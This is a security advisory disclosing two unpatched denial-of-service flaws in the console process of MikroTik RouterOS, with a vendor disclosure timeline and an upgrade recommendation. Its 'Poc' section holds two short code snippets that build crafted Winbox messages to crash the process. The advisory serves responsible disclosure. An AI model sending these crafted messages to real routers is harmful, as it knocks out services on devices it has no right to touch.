[Update 2020/04/14] The latest stable release tree 6.46.5 still suffers
from these two vulnerabilities.

Details
=======

Product: MikroTik's RouterOS
Affected Versions: through 6.46.5 (stable release tree)
Fixed Versions: -
Vendor URL: https://mikrotik.com/
Vendor Status: not fix yet
CVE: -
Credit: Qian Chen(@cq674350529) of Qihoo 360 Nirvan Team

Poc
=======
The following pocs are based on the tool routeros (
https://github.com/tenable/routeros)

1) memory corruption in console process

    WinboxMessage msg;
    msg.set_to(48, 4);
    msg.set_command(0xfe0005);
    msg.add_u32(0xfe000c, -1);
    msg.add_u32(9, 9);

2) assertion failure in console process

    WinboxMessage msg;
    msg.set_to(48, 4);
    msg.set_command(0xfe0005);
    msg.add_u32(0xfe0001, 0);

Disclosure timeline
=======
2019/08/23    reported the 2nd issue to the vendor
2019/08/26    reported the 1st issue to the vendor
2019/08/28    vendor reproduced the 1st issue and will fix it as soon as
possible
2019/08/30    vendor reproduced the 2nd issue and will fix it as soon as
possible
2019/12/02    notified the vendor the 1st issue still exists in version
6.44.6 (2nd issue fixed)
2020/01/06    no response from the vendor, and did the initial disclosure
2020/04/14    re-tested these two issues against the stable 6.46.5, and
updated the disclosure



Q C <cq674350...@gmail.com> 于2020年1月6日周一 下午7:32写道:

> Advisory: two vulnerabilities found in MikroTik's RouterOS
>
>
> Details
> =======
>
> Product: MikroTik's RouterOS
> Affected Versions: before 6.44.6 (Long-term release tree)
> Fixed Versions: 6.44.6 (Long-term release tree)
> Vendor URL: https://mikrotik.com/
> Vendor Status: fixed version released
> CVE: -
> Credit: Qian Chen(@cq674350529) of Qihoo 360 Nirvan Team
>
>
> Product Description
> ==================
>
> RouterOS is the operating system used on the MikroTik's devices, such as
> switch, router and access point.
>
>
> Description of vulnerabilities
> ==========================
>
> These two vulnerabilities were tested only against the MikroTik RouterOS
> long-term release tree when found. Maybe other release trees also suffer
> from these issues.
>
> 1. The console process suffers from a memory corruption issue.
> An authenticated remote user can crash the console process due to a NULL
> pointer reference by sending a crafted packet.
>
> 2. The console process suffers from an assertion failure issue. There is a
> reachable assertion in the console process. An authenticated remote user
> can crash the console process duo to assertion failure by sending a crafted
> packet.
>
> Solution
> ========
>
> Upgrade to the corresponding latest RouterOS tree version.
>
>
> References
> ==========
>
> [1] https://mikrotik.com/download/changelogs/long-term-release-tree
>

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